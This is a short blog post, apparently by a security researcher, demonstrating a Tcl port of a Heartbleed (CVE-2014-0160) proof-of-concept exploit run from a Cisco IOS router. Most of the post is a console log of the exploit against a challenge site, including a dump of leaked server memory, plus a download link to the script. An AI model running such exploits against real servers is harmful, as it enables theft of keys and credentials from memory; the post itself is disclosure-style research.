I wanted to know if I could exploit Heartbleed CVE-2014-0160 from a Cisco IOS router. So I wrote a Tcl script based on Jared Stafford’s Python program ssltest.py.
Turns out I can:
router#tclsh ssltest.tcl Opening connection Translating "cloudflarechallenge.com"...domain server (8.8.8.8) [OK] Sending handshake Received TLS record Type: 0x16 Version: 0x0301 First data byte: 0x02 Length: 66 Received TLS record Type: 0x16 Version: 0x0301 First data byte: 0x0b Length: 6113 Received TLS record Type: 0x16 Version: 0x0301 First data byte: 0x0c Length: 331 Received TLS record Type: 0x16 Version: 0x0301 First data byte: 0x0e Length: 4 Sending malformed heartbeat request Heartbeat response received Received TLS record Type: 0x18 Version: 0x0301 First data byte: 0x02 Length: 16384 Heartbeat response dump: 02 40 00 6b c1 f4 ab d9 47 45 54 20 2f 20 48 54 .@.kC^AC4B+C^Y GET / HT 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 63 6c TP/1.1.. Host: cl 6f 75 64 66 6c 61 72 65 63 68 61 6c 6c 65 6e 67 oudflare challeng 65 2e 63 6f 6d 0d 0a 43 6f 6e 6e 65 63 74 69 6f e.com..C onnectio 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d n: keep- alive... 0a 2b 14 0d 6a c0 13 32 44 c1 a9 0f bf 5d dc 57 .+..jC^@.2 DC^AB).B?]C^\W 19 18 03 03 00 1b 34 f3 65 6b c1 f4 ab d8 01 ff ......4C3 ekC^AC4B+C^X.C? ff a6 8b c5 e2 2a b0 d6 b3 ff bd fc 9c 67 a7 83 C?B&.C^EC"*B0C^V B3C?B=C<.gB'. 40 72 10 38 5e 01 ff ff f1 ca d2 f6 be 81 23 41 @r.8^.C?C? C1C C^RC6B>.#A fb 8d 53 15 42 aa 52 bd 9e 5f 61 0a 08 08 08 08 C;.S.BB*RB= ._a..... 08 08 08 08 08 00 19 00 0b 00 0c 00 18 00 09 00 ........ ........ 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ........ ........ 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 ........ ........ 10 00 11 00 23 00 00 00 0f 00 01 01 0e 00 0d 00 ....#... ........ 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 ........ ........ 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 ........ ........ 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 ........ ......#. 00 00 0d 00 20 00 1e 06 01 06 02 06 03 05 01 05 .... ... ........ 02 05 03 04 01 04 02 04 03 03 01 03 02 03 03 02 ........ ........ 01 02 02 02 03 00 0f 00 01 01 00 15 00 c2 00 00 ........ .....C^B.. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ [omitted] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ Closing connection router#
Tested on: Cisco IOS Software, C880 Software (C880DATA-UNIVERSALK9-M), Version 15.1(4)M3, RELEASE SOFTWARE (fc1)
If you are interested, here is my Tcl PoC ssltest.tcl:
ssltest.zip (https)
MD5: 1B50D6A10637BB6472ED541733BBE68D
SHA256: DA744643CF06645DA9C27A7DD62853E15123D7481AE5D6776E6393A6312847E1